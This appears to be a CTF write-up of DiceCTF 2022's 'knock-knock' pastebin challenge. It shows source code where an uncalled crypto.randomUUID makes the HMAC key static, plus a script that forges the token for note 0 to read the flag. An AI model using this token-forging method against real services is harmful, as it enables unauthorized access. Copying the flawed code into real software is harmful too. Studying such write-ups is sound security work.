- Published on
DICE CTF 2022 – knock-knock
- Authors
- Name
- thebish0p
- Description
- Security, Programming and Mathematics
knock-knock
by BrownieInMotion
Knock knock? Who's there? Another pastebin!!
Downloads
We start by checking the web page and notice that we can create a pastebin:
We can see the content of our paste by sending a GET
request on /note
and each note has a unique id
and we notice that token
parameter is apparently some sort of signature:
As you can see if we tamper the token we get invalid token
error:
Time to look at the source code. We proceed by checking the index.js
file and we notice that on launch the flag is set directly in a pastebin. The id
parameter is incremental which means that our flag is on id=0
const crypto = require('crypto')
class Database {
constructor() {
this.notes = []
this.secret = `secret-${crypto.randomUUID}`
}
createNote({ data }) {
const id = this.notes.length
this.notes.push(data)
return {
id,
token: this.generateToken(id),
}
}
getNote({ id, token }) {
if (token !== this.generateToken(id)) return { error: 'invalid token' }
if (id >= this.notes.length) return { error: 'note not found' }
return { data: this.notes[id] }
}
generateToken(id) {
return crypto.createHmac('sha256', this.secret).update(id.toString()).digest('hex')
}
}
const db = new Database()
db.createNote({ data: process.env.FLAG })
Another interesting finding here is that crypto.randomUUID
is called without parentheses ()
to execute which made me test my theory directly in node as shown below:
As you can see above crypto.randomUUID
is just the source code of the function. This means that they key used to sign the id
is static. We can simply sign 0
in order to see the flag by running the code below:
const crypto = require('crypto')
class Database {
constructor() {
this.notes = []
this.secret = `secret-${crypto.randomUUID}`
}
createNote({ data }) {
const id = this.notes.length
this.notes.push(data)
return {
id,
token: this.generateToken(id),
}
}
getNote({ id, token }) {
if (token !== this.generateToken(id)) return { error: 'invalid token' }
if (id >= this.notes.length) return { error: 'note not found' }
return { data: this.notes[id] }
}
generateToken(id) {
return crypto.createHmac('sha256', this.secret).update(id.toString()).digest('hex')
}
}
let test = new Database()
console.log(test.generateToken(0)) // Generates this: 7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264
By sending id
as 0
and the token we just got we can see the flag now: